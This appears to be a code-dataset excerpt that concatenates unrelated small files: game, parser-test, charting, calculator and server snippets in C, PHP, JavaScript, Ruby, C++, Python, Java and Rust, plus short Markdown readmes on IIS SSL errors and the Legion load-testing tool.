mvprintw(room->doors[1]->y, room->doors[1]->x, "+"); mvprintw(room->doors[2]->y, room->doors[2]->x, "+"); mvprintw(room->doors[3]->y, room->doors[3]->x, "+"); return 1; } Player * playerSetUp() { Player * newPlayer; newPlayer = malloc(sizeof(Player)); newPlayer->position.x = 14; newPlayer->position.y = 14; newPlayer->Health = 20; playerMove(14, 14, newPlayer); return newPlayer; } int handleInput(int input, Player * user) { int newY; int newX; switch(input) { /*move para cima*/ case 'w': case 'W': newY = user->position.y -1; newX = user->position.x; //playerMove(user->position.y -1 , user->position.x, user); break; /*move para direita*/ case 's': case 'S': newY = user->position.y +1; newX = user->position.x; //playerMove(user->position.y +1, user->position.x, user); break; /*move para esquerda*/ case 'a': case 'A': newY = user->position.y; newX = user->position.x - 1; //playerMove(user->position.y , user->position.x -1, user); break; /*move para a direita*/ case 'd': case 'D': newY = user->position.y; newX = user->position.x + 1; //playerMove(user->position.y, user->position.x +1, user); break; default: break; } checkPosition(newY,newX, user); } /*checa o que há na proxima posição*/ int checkPosition(int newY,int newX, Player * user) { int space; switch(mvinch(newY, newX))/*checa os casos de tecla*/ { case '.': playerMove(newY, newX, user); break; default: move(user->position.y, user->position.x);/* deixa a seleção sempre em cima da tecla*/ break; } } int playerMove(int y, int x, Player * user) { mvprintw(user->position.y, user->position.x, "."); user->position.y = y; user->position.x = x; mvprintw(user->position.y, user->position.x, "@"); move(user->position.y, user->position.x); }
PHP
UTF-8
4,901
2.59375
3
[ "MIT" ]
permissive
<?php namespace Test\GraphQLClientPhp\Parser; use GraphQLClientPhp\Parser\QueryBasicQueryParser; use PHPUnit\Framework\TestCase; class QueryBasicParserTest extends TestCase { /** * @throws \GraphQLClientPhp\Exception\FileNotFoundException|\GraphQL\Error\SyntaxError */ public function testParseQueryBasic() { $query = <<<GraphQl query country { country { name iso } } GraphQl; $service = new QueryBasicQueryParser(); $result = $service->parseQuery($query); $this->assertSame($query, $result, "The expected query must be the same like the result"); } /** * @throws \GraphQLClientPhp\Exception\FileNotFoundException|\GraphQL\Error\SyntaxError */ public function testParseQueryBasicWithExistingFragment() { $expected = <<<GraphQl query country { ...country } fragment country on CountryDefinition { name iso } GraphQl; $query = <<<GraphQl query country { ...country } fragment country on CountryDefinition { name iso } GraphQl; $service = new QueryBasicQueryParser(); $result = $service->parseQuery($query); $this->assertSame($expected, $result, "The expected query must be the same like the result"); } /** * @throws \Exception */ public function testParseQueryWithFragment() { $expected = <<<GraphQl query country { ...country } fragment country on CountryDefinition { name iso } GraphQl; $query = <<<GraphQl query country { ...country } GraphQl; $fragment = <<<GraphQl fragment country on CountryDefinition { name iso } GraphQl; $service = (new QueryBasicQueryParser())->setFragments([$fragment]); $result = $service->parseQuery($query); $this->assertSame($expected, $result, "The expected query must be the merge between query and fragment"); } /** * @throws \Exception */ public function testParseQueryWithMultipleFragments() { $expected = <<<GraphQl query country { country1: country { ...country } country2: country { ...country } } fragment country on CountryDefinition { name iso } GraphQl; $query = <<<GraphQl query country { country1: country { ...country } country2: country { ...country } } GraphQl; $fragment = <<<GraphQl fragment country on CountryDefinition { name iso } fragment movie on MovieDefinition { title } GraphQl; $service = (new QueryBasicQueryParser())->setFragments([$fragment]); $result = $service->parseQuery($query); $this->assertSame($expected, $result, "The expected query must be the merge between query and fragment"); } /** * @expectedException \GraphQLClientPhp\Exception\FileNotFoundException * @expectedExceptionCode 461 * @expectedExceptionMessage The graph fragment notExisting does not exist * * @throws \Exception */ public function testParseQueryWithEmptyFragment() { $query = <<<GraphQl query country { country1: country { ...country } country2: country { ...notExisting } } GraphQl; $fragment = <<<GraphQl fragment country on CountryDefinition { name iso } GraphQl; $service = (new QueryBasicQueryParser())->setFragments([$fragment]); $service->parseQuery($query); } /** * @throws \Exception */ public function testGetQueryName() { $service = new QueryBasicQueryParser(); $query = <<<GraphQl query country { name } GraphQl; $this->assertSame('country', $service->getQueryFirstName($query), "With one query with name, you must have this name"); $query = <<<GraphQl mutation country { name } GraphQl; $this->assertSame('country', $service->getQueryFirstName($query), "With one mutation with name, you must have this name"); $query = <<<GraphQl query country { name } query movie { title } GraphQl; $this->assertSame('country', $service->getQueryFirstName($query), "With two queries the first name query is the query name"); $query = <<<GraphQl { country { name } } GraphQl; $this->assertNull($service->getQueryFirstName($query), "Without queries declaration the name must be null"); } }
PHP
UTF-8
989
2.75
3
[]
no_license
<?php class control_tp1ej6{ public function mostrar($datos){ $edad=$datos['edad']; $nombre=$datos['nombre']; $apellido=$datos['apellido']; $direccion=$datos['direccion']; $estudios=$datos['estudios']; $sexo=$datos['sexo']; if ($edad<18){ $texto= "Hola, yo soy $nombre $apellido tengo $edad años y vivo en $direccion. Soy $sexo y mi nivel de estudios es: $estudios.<br/>"; } else{ $texto= "Hola, yo soy $nombre $apellido, soy mayor de edad y vivo en $direccion. Soy $sexo y mi nivel de estudios es: $estudios.<br/>"; } if (!empty($_GET['deporte'])){ $texto.= "Deportes que practico:<br/>"; foreach ($_GET['deporte'] as $selected){ $texto.= $selected."<br/>"; } } return $texto; } } ?>
Markdown
UTF-8
825
3.296875
3
[]
no_license
## Error Description After the SSL certificate is deployed in IIS, a 404 error is reported when you access resources. ## Possible Causes - The websites bound to HTTP and HTTPS are different. - The website configuration is incorrect. ## Solutions After the certificate is successfully deployed, resources can be accessed over HTTP but not HTTPS (with a 404 error). In this case, if you have configured the SSL certificate in IIS and enabled port 443 in the firewall, you can troubleshoot as follows: - The website’s root directory can be set differently for HTTP and HTTPS. On the IIS server, check how port 443 is bound and confirm whether the website bound to port 443 is the same as that bound to HTTP port 80. - When you check the port binding, check whether the IP address and hostname of the website are correct.
JavaScript
UTF-8
1,576
4.65625
5
[]
no_license
/** A non-empty array A consisting of N integers is given. The consecutive elements of array A represent consecutive cars on a road. Array A contains only 0s and/or 1s: 0 represents a car traveling east, 1 represents a car traveling west. The goal is to count passing cars. We say that a pair of cars (P, Q), where 0 ≤ P < Q < N, is passing when P is traveling to the east and Q is traveling to the west. For example, consider array A such that: A[0] = 0 A[1] = 1 A[2] = 0 A[3] = 1 A[4] = 1 We have five pairs of passing cars: (0, 1), (0, 3), (0, 4), (2, 3), (2, 4). Write a function: int solution(int A[], int N); that, given a non-empty array A of N integers, returns the number of pairs of passing cars. The function should return −1 if the number of pairs of passing cars exceeds 1,000,000,000. For example, given: A[0] = 0 A[1] = 1 A[2] = 0 A[3] = 1 A[4] = 1 the function should return 5, as explained above. Write an efficient algorithm for the following assumptions: N is an integer within the range [1..100,000]; each element of array A is an integer that can have one of the following values: 0, 1. */ // you can write to stdout for debugging purposes, e.g. // console.log('this is a debug message'); function solution(A) { // write your code in JavaScript (Node.js 8.9.4) let east = 0; let cross = 0; for(let ii = 0; ii < A.length; ii++){ if(A[ii] === 0){ east++; }else{ cross = cross + east; if(cross > 1000000000){ return -1; } } } return cross; }
Markdown
UTF-8
994
4.3125
4
[ "MIT" ]
permissive
### Class 08 - Zip Two Lists ### Zip Two Linked Lists ### Challenge - Write a function called zipLists that takes in two Linked Lists as arguments and zips them together into one so that the nodes alternate between the two lists and return a reference to the head of the zipped list. - Write tests to check functionality. ### Approach & Efficiency - Begin by checking that at least one list has a node value at the head, if not throw an exception. - If only one list has values, return that list. - Create pointers to the first list's head and next values. Begin traversing through list one and list two, keeping track of the current node with pointer values and inserting each node from list two into list one at alternating nodes. If list two reaches null, return the rest of list one. If list one reaches a null node first, add the rest of list two's nodes. - Return list one, now zipped with alternating nodes from list two. ### Solution ![Zip Lists Whiteboard](assets/ZipLists.png)
Markdown
UTF-8
3,475
2.90625
3
[ "Apache-2.0" ]
permissive
What is Legion? =============== Legion is a distributed, protocol-agnostic load testing tool. Why does it exist? ================== I wanted to create a tool that would solve the most challenging problems I've encountered in my seven years of helping clients improve the performance, capacity, and risk exposure of their network-enabled applications. Those problems include: (1) Complexity of the use case or test design, (2) Unusual or proprietary protocols, (3) Requirements to scale beyond one million concurrent users, (4) Difficulty understanding or trusting the results of a test, and, (5) Difficulties with training new people on a given tool. My hope is that Legion will eventually address all five of these problem areas. What are Legion's advantages? ============================= Scalable -------- Legion is designed from day one to be infinitely scalable. This means that Legion: * Produces a finite amount of output even from a hypothetically infinite cluster of load-generating instances. * Collects output and distributes command-and-control actions using resources that are logarithmic in the number of load-generating instances. Not every deployment of Legion automatically has these properties, but the semantics of Legion's inter-process communication makes them possible. Scriptable ---------- Legion is a Node.js library written in vanilla JavaScript. Part of the intent of Legion is to leverage the wealth of publicly available JavaScript software to test almost any kind of network-enabled service you can imagine. JavaScript today is both expressive and easy to learn, with mature tooling, and works smoothly as a functional, object-oriented, or just an everyday get-it-done scripting language, depending on your need. We can assume that most organizations that develop network-enabled services employ at least a few developers with JavaScript experience. If we made any other choice of platform we would not have this golden triad of capabilities: broad library support, versatile software engineering, and accessibility for end-users. Adaptable --------- Legion is designed as a family of loosely-coupled libraries and tools. Support for building test scripts is separate from the metrics reporting format, which is again separate from command-and-control, and so on. If you want to build distributed scripts that report metrics in a different format, you can. If you want to report metrics from another source, say for example a C# .NET framework, you only need to speak Legion's JSON format. To the greatest extent possible, every component can be replaced and every component is optional. Measure Everything ------------------ Legion has a "expose everything," "measure everything" philosophy. The purpose of a test is to find problems. Users need confidence that the testing tool itself is not the source of a problem. Problems must be plainly apparent, not hidden away in the arcana of the tool's internals. Future Plans ============ There are two major tasks remaining on Legion's long-term plan: First, we need an excellent tool to capture and replay HTTP and HTTP2 test cases. Legion obviously supports the HTTP protocol, but scripting is entirely by hand. This is not competitive with other tools. Second, although Legion already makes many problems much easier then they would otherwise be, only software developers can use it. We need a compelling GUI tool that will also make easy problems easy.
Ruby
UTF-8
768
3.578125
4
[]
no_license
module Purchaseable def purchase(item) "#{item} has been purchased" end end class Bookstore include Purchaseable def purchase(item) "You bought a copy of #{item} at the bookstore!" end end class Supermarket include Purchaseable def purchase(item) "Thanks for visiting Shaw's and buying #{item}" end end class CornerMart < Supermarket # a subclass, cornermart inherits from Supermarket def purchase(item) "Yay! A great purchase of #{item} from your Corner Mart" end end p Bookstore.ancestors bn = Bookstore.new p bn.purchase("1984") shaws = Supermarket.new p shaws.purchase("Cereal") p CornerMart.ancestors quickstop = CornerMart.new p quickstop.purchase("Slim Jims")
C++
UTF-8
4,538
2.578125
3
[]
no_license
/* * Copyright (c) 2011, Tom Distler (tdistler.com) * All rights reserved. * * The BSD License * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * - Redistributions of source code must retain the above copyright notice, * this list of conditions and the following disclaimer. * * - Redistributions in binary form must reproduce the above copyright notice, * this list of conditions and the following disclaimer in the documentation * and/or other materials provided with the distribution. * * - Neither the name of the XSDK nor the names of its contributors may * be used to endorse or promote products derived from this software without * specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. */ #ifndef _XSDK_BUFFER_H_ #define _XSDK_BUFFER_H_ #include "xsdk/common.h" namespace xsdk { /** * A class to make dealing with dynamically allocated memory simple. * This class has many of the same semantics as using a raw array pointer. * However, all memory management details are controlled by the lifetime * of this object. * * @code * buffer p(10); * uint8_t x = p[10] // throws * uint8_t y = p[0] * 2; * buffer p2 = p; // deep copy * char* raw = (char*)p2.Ptr(); * @endcode */ class Buffer { public: XSDK_API Buffer(); /** * Constructor that sets the size of the buffer. * @param length The size of the buffer in bytes. */ XSDK_API Buffer(size_t length); /** Frees any allocated memory. */ XSDK_API virtual ~Buffer() throw(); /** Copies the contents of the other buffer. */ XSDK_API Buffer(const Buffer& other); /** Copies the contents of the other buffer. */ XSDK_API Buffer& operator= (const Buffer& other); /** * Provides access to the buffer contents using the array operator. * @return A reference to the byte at the specified index. */ XSDK_API uint8_t& operator[](size_t index); /** Sets the length of the buffer. */ XSDK_API void SetLength(size_t length) { _targetLen = length; } /** Returns the length of the buffer. */ XSDK_API size_t Length() const { return _targetLen; } /** * Returns a pointer to the buffer memory. * @note An exception is thrown if no length has been set on the * buffer. */ XSDK_API void* Ptr(); /** * Copies the source buffer into the object. * @param source The buffer data to copy. * @param length The number of bytes to copy from the source buffer. * @return A pointer to the destination buffer memory. */ XSDK_API void* Copy(const void* source, size_t length); /** * Fills the buffer with the specified value. * @note An exception is thrown if no length has been set on the * buffer. * @return A pointer to the buffer memory. */ XSDK_API void* Fill(uint8_t value); private: /** * Returns a pointer to the raw buffer memory. This method ensures * that the buffer is at least as large as _targetLen. If it isn't, * then this method allocates a new buffer and copies the previous * data over. */ uint8_t* _Buffer(); size_t _targetLen;///< The requested length of the buffer. size_t _bufferLen;///< The actual length of the allocated memory. uint8_t* _buffer; ///< The buffer memory (of length _bufferLen). }; //class }; //namespace #endif //_XSDK_BUFFER_H_
Python
UTF-8
2,491
3.65625
4
[]
no_license
import matplotlib.pyplot as plt import numpy as np import pandas as pd import seaborn as sbn # --------------------------- # @description # pip3 install matplotlib -i https://pypi.douban.com/simple # pip3 install seaborn -i https://pypi.douban.com/simple # @author xichengxml # @date 2019/10/7 下午 07:30 # --------------------------- # 画直线 def draw_line(): plt.plot([1, 2, 3], [2, 4, 8]) # 使用numpy和matplotlib绘制正弦曲线 def draw_sin(): # 生成-π到π之间的100个点 x = np.linspace(-np.pi, np.pi, 100) plt.plot(x, np.sin(x)) # 绘制多条曲线 def draw_multi(): # -2π到2π x = np.linspace(-np.pi * 2, np.pi * 2, 100) # dpi代表图片精细度,dpi越大文件越大,杂志要300以上 plt.figure(1, dpi=50) for i in range(1, 5): plt.plot(x, np.sin(x / i)) # 绘制直方图 def draw_hist(): data = [1, 2, 3, 4, 5, 2, 3, 4, 5, 3, 4, 5, 4, 5, 5] plt.figure(1, dpi=50) # 只要传入数据, 直方图就会统计数据出现的次数 plt.hist(data) # 绘制散点图 def draw_scatter(): x = np.arange(1, 10) y = x plt.figure() # 颜色,形状 plt.scatter(x, y, c='r', marker='o') # seaborn是matplot的美图秀秀版 def draw_seaborn(): iris = pd.read_csv('../../resources/iris/iris_training.csv') # 设置样式 sbn.set(style='white', color_codes=True) # 设置绘图格式为散点图 sbn.jointplot(x='120', y='4', data=iris, size=5) # 绘制曲线 sbn.distplot(iris['120']) # 绘制不同颜色的散点图 def draw_color_seaborn(): iris = pd.read_csv('../../resources/iris/iris_training.csv') # 设置样式 sbn.set(style='white', color_codes=True) sbn.FacetGrid(iris, hue="virginica", size=5).map(plt.scatter, "setosa", "versicolor").add_legend() if __name__ == '__main__': graph_type = input('请输入要绘制的图类型: line--直线; sin--正弦曲线; multi--多条曲线; ' 'hist--直方图; scatter--散点图\n') if graph_type == 'line': draw_line() elif graph_type == 'sin': draw_sin() elif graph_type == 'multi': draw_multi() elif graph_type == 'hist': draw_hist() elif graph_type == 'scatter': draw_scatter() elif graph_type == 'seaborn': draw_seaborn() elif graph_type == 'color_seaborn': draw_color_seaborn() # 只是让pandas 的plot() 方法在pyCharm上显示 plt.show()
Java
UTF-8
1,676
3.21875
3
[]
no_license
package calculator; import static org.junit.Assert.assertEquals; import org.junit.Assert; import org.junit.Before; import org.junit.Test; public class StringCalculatorTest { private StringCalculator calc; @Before public void load() { calc= new StringCalculator(); } @Test public void addTwoStrings() { //Allow Add empty string returns 0 assertEquals(calc.Add(""), 0); //Allow Add one string returns 1 assertEquals(calc.Add("1"), 1); //Allow Add two string returns sum assertEquals(calc.Add("1,2"), 3); //Allow Add unknown amount of numbers assertEquals(calc.Add("1,2,3,5,1"), 12); //Allow Add method to handle new lines between numbers (instead of commas) assertEquals(calc.Add("1,2,3"), 6); assertEquals(calc.Add("1\n2\n3"), 6); //Invalid Check //assertEquals(calc.Add("1\n,2\n3"), 6) //Support different delimiters Assert.assertEquals(1+2+3, StringCalculator.addwithMultipleDelimiter("//;\n1;3;2")); assertEquals(calc.Add("1,2,3"), 6); assertEquals(calc.Add("2,1001,1000002,3"), 5); } /* //Uncomment to check for Run Time Exception that occur if the list is having single/ multiple negative numbers @Test public void singleNegativeNotAllowed() { calc.Add("1,-2,3,4,8"); } @Test(expected = RuntimeException.class) public void multipleNegativeNotAllowed() { RuntimeException exception = null; try { calc.Add("1,2,3,-8,6,-4"); } catch (RuntimeException e) { exception = e; } Assert.assertNotNull(exception); Assert.assertEquals("negatives not allowed: [-4, -8]", exception.getMessage()); } */ }
JavaScript
UTF-8
407
2.703125
3
[]
no_license
const http = require('http'); const pid = process.pid; const server = http.createServer((req, res) => { console.log(`Request received. Pid: ${pid}`); res.end(`Hello from NodeJS! Pid: ${pid}`); }).listen(8080, () => { console.log(`Server was started. Pid: ${pid}`); }); process.on('SIGINT', () => { console.log(`Server was closed. Pid: ${pid}`); server.close(() => { process.exit(); }); })
JavaScript
UTF-8
1,729
2.75
3
[]
no_license
const decodeURL = decodeURI(location.search); const URL = decodeURL.split("?")[1]; if (URL != undefined) { let c = URL.substring(15); if (c == "true") { alert("發生錯誤!請重新新增計畫!"); } } let count; function addInput(id, placeholder, name, hidden) { let table = document.getElementById(id); let rownum = table.rows.length; let row = table.insertRow(rownum); let cell1 = row.insertCell(0); cell1.innerHTML = "<input type='text' name='" + name + "' class='form-control' style='width:733px;margin:5px;display:inline-block;' placeholder=" + placeholder + " ><i class='fas fa-times-circle' style='color:pink;padding:3px;' onClick='removeInput(this)'></i>"; count = rownum + 1; //代表table #row let hiddens = document.getElementById(hidden); hiddens.innerHTML = "<input type=hidden name='" + hidden + "' value= " + count + ">"; } function addTrig(id, placeholder, name, hidden) { let table = document.getElementById(id); let rownum = table.rows.length; let row = table.insertRow(rownum); let cell1 = row.insertCell(0); // cell1.innerHTML = "<input type='time' name='triggerTime' display:inline-block;>" + "<input type=text name='" + name + "' style='width:633px;margin:5px;display:inline-block;' class='form-control' placeholder=" + placeholder + " >"+'<i class="fas fa-times-circle" style="color:pink;padding:1px;" onClick="removeInput(this)"></i>'; count = rownum + 1; //代表table #row let hiddens = document.getElementById(hidden); hiddens.innerHTML = "<input type=hidden name='" + hidden + "' value= " + count + ">"; } function removeInput(button) { button.closest('tr').remove(); } document.write('<script src="js/googleLogin.js" ></script>');
Rust
UTF-8
27,852
2.734375
3
[]
no_license
use crate::api::*; use crate::reports; use crate::services::Context; use serde::{Deserialize, Serialize}; use std::collections::HashMap; use std::collections::HashSet; use std::fmt::Write; #[derive(Debug, PartialEq, Clone)] pub enum Entity { Character(i32), Corporation(i32), Alliance(i32), Faction(i32), Ship(i32), Group(i32), System(i32), Constellation(i32), Region(i32), } pub type Groups = HashMap<IntRequired, GroupStat>; pub type Months = HashMap<IntRequired, MonthStat>; #[derive(Serialize, Deserialize, Debug, PartialEq, Clone, Default)] //#[serde(deny_unknown_fields)] pub struct Stats { pub id: IntRequired, #[serde(alias = "type")] pub record_type: String, #[serde(alias = "dangerRatio")] pub danger_ratio: IntOptional, #[serde(alias = "gangRatio")] pub gang_ratio: IntOptional, #[serde(alias = "shipsDestroyed")] pub ship_destroyed: IntOptional, #[serde(alias = "pointsDestroyed")] pub points_destroyed: IntOptional, #[serde(alias = "iskDestroyed")] pub isk_destroyed: LongOptional, #[serde(alias = "shipsLost")] pub ship_lost: IntOptional, #[serde(alias = "pointsLost")] pub points_lost: IntOptional, #[serde(alias = "iskLost")] pub isk_lost: LongOptional, #[serde(alias = "soloKills")] pub solo_kills: IntOptional, #[serde(alias = "soloLosses")] pub solo_losses: IntOptional, #[serde(skip, alias = "groups")] pub groups: Groups, #[serde(skip, alias = "months")] pub months: Months, #[serde(alias = "topAllTime")] pub tops: Vec<TopRecords>, #[serde(alias = "topIskKills")] pub top_isk_kills: Option<Vec<IntRequired>>, #[serde(skip, alias = "allTimeSum")] pub all_time_sum: IntRequired, #[serde(skip, alias = "nextTopRecalc")] pub next_top_recalculate: IntRequired, #[serde(skip, alias = "sequence")] pub sequence: IntOptional, #[serde(skip, alias = "trophies")] pub trophies: Option<Trophies>, #[serde(skip, alias = "activepvp")] pub active_pvp: ActivePvp, #[serde(skip, alias = "info")] pub info: String, //Info, #[serde(skip, alias = "topIskKillIDs")] pub top_isk_kill_ids: Vec<IntRequired>, #[serde(alias = "topLists")] pub top_lists: Vec<TopList>, #[serde(alias = "activity")] pub activity: Option<Activity>, #[serde(skip, alias = "hasSupers")] pub has_supers: BoolOptional, #[serde(skip)] pub supers: Option<SuperValues>, //alias = "supers" } impl Stats { fn load(entity: &str, id: &i32) -> Option<Self> { let json = gw::get_stats(entity, id); match serde_json::from_str(&json) { Ok(object) => Some(object), Err(err) => {println!("{}", err); None} } } pub fn danger_ratio(&self)-> IntRequired { self.danger_ratio.unwrap_or_default() } pub fn gang_ratio(&self)-> IntRequired { self.gang_ratio.unwrap_or_default() } pub fn new(entity: Entity) -> Option<Self> { match entity { Entity::Character(id) => Self::load("characterID", &id), Entity::Corporation(id) => Self::load("corporationID", &id), Entity::Alliance(id) => Self::load("allianceID", &id), Entity::Faction(id) => Self::load("factionID", &id), Entity::Ship(id) => Self::load("shipTypeID", &id), Entity::Group(id) => Self::load("groupID", &id), Entity::System(id) => Self::load("solarSystemID", &id), Entity::Constellation(id) => Self::load("constellationID", &id), Entity::Region(id) => Self::load("regionID", &id), } } pub fn report_win_loses<S: Into<String>>(output: &mut dyn Write, title: S, wins: Option<i32>, losses: Option<i32>) { let wins = wins.unwrap_or_default(); let losses = losses.unwrap_or_default(); let total = wins + losses; let eff = if total != 0 { 100 * wins / total } else { 0 }; reports::div(output, format!("{}: {}/{} eff: {}%", title.into(), wins, total, eff)); } } #[derive(Serialize, Deserialize, Debug, PartialEq, Clone)] pub struct GroupStat { #[serde(alias = "groupID")] pub group_id: IntRequired, #[serde(alias = "shipsDestroyed")] pub ship_destroyed: IntOptional, #[serde(alias = "pointsDestroyed")] pub points_destroyed: IntOptional, #[serde(alias = "iskDestroyed")] pub isk_destroyed: LongOptional, #[serde(alias = "shipsLost")] pub ship_lost: IntOptional, #[serde(alias = "pointsLost")] pub points_lost: IntOptional, #[serde(alias = "iskLost")] pub isk_lost: LongOptional, } #[derive(Serialize, Deserialize, Debug, PartialEq, Clone)] pub struct MonthStat { pub year: IntRequired, pub month: IntRequired, #[serde(alias = "shipsDestroyed")] pub ship_destroyed: IntOptional, #[serde(alias = "pointsDestroyed")] pub points_destroyed: IntOptional, #[serde(alias = "iskDestroyed")] pub isk_destroyed: LongOptional, #[serde(alias = "shipsLost")] pub ship_lost: IntOptional, #[serde(alias = "pointsLost")] pub points_lost: IntOptional, #[serde(alias = "iskLost")] pub isk_lost: LongOptional, } #[derive(Serialize, Deserialize, Debug, PartialEq, Clone)] pub struct TopStat { pub kills: IntRequired, #[serde(alias = "characterID")] pub character_id: IntOptional, #[serde(alias = "corporationID")] pub corporation_id: IntOptional, #[serde(alias = "factionID")] pub faction_id: IntOptional, #[serde(alias = "shipTypeID")] pub ship_id: IntOptional, #[serde(alias = "solarSystemID")] pub system_id: IntOptional, } #[derive(Serialize, Deserialize, Debug, PartialEq, Clone, Default)] pub struct TopRecords { #[serde(alias = "type")] record_type: StrRequired, #[serde(alias = "data")] payload: Vec<TopStat> } #[derive(Serialize, Deserialize, Debug, PartialEq, Clone, Default)] #[serde(rename = "trophies")] pub struct Trophies { pub levels: IntRequired, pub max: IntRequired, } #[derive(Serialize, Deserialize, Debug, PartialEq, Clone, Default)] pub struct ActivePvp { pub kills: ActivePvpKills, } #[derive(Serialize, Deserialize, Debug, PartialEq, Clone, Default)] #[serde(rename = "kills")] pub struct ActivePvpKills { #[serde(alias = "type")] pub record_type: StrRequired, pub count: IntRequired, } #[derive(Serialize, Deserialize, Debug, PartialEq, Clone, Default)] pub struct LastApiUpdate { pub sec: LongRequired, pub usec: LongRequired, } #[derive(Serialize, Deserialize, Debug, PartialEq, Clone)] #[serde(untagged)] pub enum Info { CharacterInfo { #[serde(alias = "allianceID")] alliance_id: IntRequired, #[serde(alias = "corporationID")] corporation_id: IntRequired, #[serde(alias = "factionID")] faction_id: IntRequired, #[serde(alias = "id")] character_id: IntRequired, #[serde(alias = "lastApiUpdate")] last_update: LastApiUpdate, #[serde(alias = "name")] name: StrRequired, #[serde(alias = "secStatus")] sec_status: FloatRequired, #[serde(alias = "type")] record_type: StrRequired, }, CorporationInfo { #[serde(alias = "allianceID")] alliance_id: IntRequired, #[serde(alias = "ceoID")] ceo_id: IntRequired, #[serde(alias = "factionID")] faction_id: IntRequired, #[serde(alias = "id")] corporation_id: IntRequired, #[serde(alias = "lastApiUpdate")] last_update: LastApiUpdate, #[serde(alias = "name")] name: StrRequired, #[serde(alias = "ticker")] ticker: StrRequired, #[serde(alias = "type")] record_type: StrRequired, }, AllianceInfo { #[serde(alias = "executorCorpID")] exec_corp_id: IntRequired, #[serde(alias = "factionID")] faction_id: IntRequired, #[serde(alias = "id")] alliance_id: IntRequired, #[serde(alias = "lastApiUpdate")] last_update: LastApiUpdate, #[serde(alias = "memberCount")] member_count: IntRequired, #[serde(alias = "corpCount")] corp_count: IntRequired, #[serde(alias = "name")] name: StrRequired, #[serde(alias = "ticker")] ticker: StrRequired, #[serde(alias = "type")] record_type: StrRequired, }, } #[derive(Serialize, Deserialize, Debug, PartialEq, Clone)] pub struct TopList { #[serde(alias = "type")] pub record_type: StrRequired, #[serde(alias = "title")] pub title: StrRequired, #[serde(alias = "values")] pub values: Vec<TopValue>, } impl TopList { #[allow(unused_variables)] pub fn write(output: &mut dyn Write, tops: &Vec<Self>, allowed: HashSet<String>, ctx: &Context) { reports::div(output, "Last week activity"); let table_style = "border-collapse: collapse;"; let text_style = "border: 1px solid black; padding: 1px 5px;"; for top in tops { if allowed.contains(&top.record_type) { reports::table_start(output, &top.title, table_style, ""); if !top.values.is_empty() { reports::caption(output, &top.title); } for value in &top.values { reports::table_row_start(output, ""); match value { TopValue::CharacterTop {kills, character_id, character_name, .. } => { reports::table_cell(output, "Kills", text_style, kills.to_string()); reports::table_cell(output, "character name", text_style, ctx.get_api_href("character", *character_id, character_name)); }, TopValue::CorporationTop {kills, corporation_id, corporation_name, corporation_ticker, .. } => { reports::table_cell(output, "Kills", text_style, kills.to_string()); reports::table_cell(output, "corporation name", text_style, ctx.get_api_href("corporation", *corporation_id, corporation_name)); reports::table_cell(output, "corporation ticker", text_style, corporation_ticker); }, TopValue::AllianceTop {kills, alliance_id, alliance_name, alliance_ticker, .. } => { reports::table_cell(output, "Kills", text_style, kills.to_string()); reports::table_cell(output, "alliance name", text_style, ctx.get_api_href("alliance", *alliance_id, alliance_name)); reports::table_cell(output, "alliance ticker", text_style, alliance_ticker); }, TopValue::ShipTop {kills, ship_id, ship_name, group_id, group_name, .. } => { reports::table_cell(output, "Kills", text_style, kills.to_string()); reports::table_cell(output, "ship", text_style, ctx.get_zkb_href("ship", *ship_id, ship_name)); reports::table_cell(output, "group", text_style, ctx.get_zkb_href("group", *group_id, group_name)); }, TopValue::SystemTop {kills, system_id, system_name, sun_type_id, system_security, system_color, region_id, region_name, .. } => { let style = format!("{} background-color: {};", text_style, system_color); reports::table_cell(output, "Kills", &style, kills.to_string()); reports::table_cell(output, "system", &style, ctx.get_api_href("system", *system_id, system_name)); reports::table_cell(output, "system security", &style, system_security); reports::table_cell(output, "region", &style, ctx.get_api_href("region", *region_id, region_name)); } TopValue::LocationTop {kills, location_id, location_name, .. } => { reports::table_cell(output, "Kills", text_style, kills.to_string()); reports::table_cell(output, "location", text_style, ctx.get_zkb_href("location", *location_id, location_name)); } } reports::table_row_end(output); } reports::table_end(output); } } } } #[derive(Serialize, Deserialize, Debug, PartialEq, Clone)] #[serde(untagged)] pub enum TopValue { CharacterTop { #[serde(alias = "kills")] kills: IntRequired, #[serde(alias = "characterID")] character_id: IntRequired, #[serde(alias = "characterName")] character_name: StrRequired, #[serde(alias = "id")] id: IntRequired, #[serde(alias = "typeID")] type_id: IntOptional, #[serde(alias = "name")] name: StrRequired, }, CorporationTop { #[serde(alias = "kills")] kills: IntRequired, #[serde(alias = "corporationID")] corporation_id: IntRequired, #[serde(alias = "corporationName")] corporation_name: StrRequired, #[serde(alias = "cticker")] corporation_ticker: StrRequired, #[serde(alias = "id")] id: IntRequired, #[serde(alias = "typeID")] type_id: IntOptional, #[serde(alias = "name")] name: StrRequired, }, AllianceTop { #[serde(alias = "kills")] kills: IntRequired, #[serde(alias = "allianceID")] alliance_id: IntRequired, #[serde(alias = "allianceName")] alliance_name: StrRequired, #[serde(alias = "aticker")] alliance_ticker: StrRequired, #[serde(alias = "id")] id: IntRequired, #[serde(alias = "typeID")] type_id: IntOptional, #[serde(alias = "name")] name: StrRequired, }, ShipTop { #[serde(alias = "kills")] kills: IntRequired, #[serde(alias = "shipTypeID")] ship_id: IntRequired, #[serde(alias = "shipName")] ship_name: StrRequired, #[serde(alias = "groupID")] group_id: IntRequired, #[serde(alias = "groupName")] group_name: StrRequired, #[serde(alias = "id")] id: IntRequired, #[serde(alias = 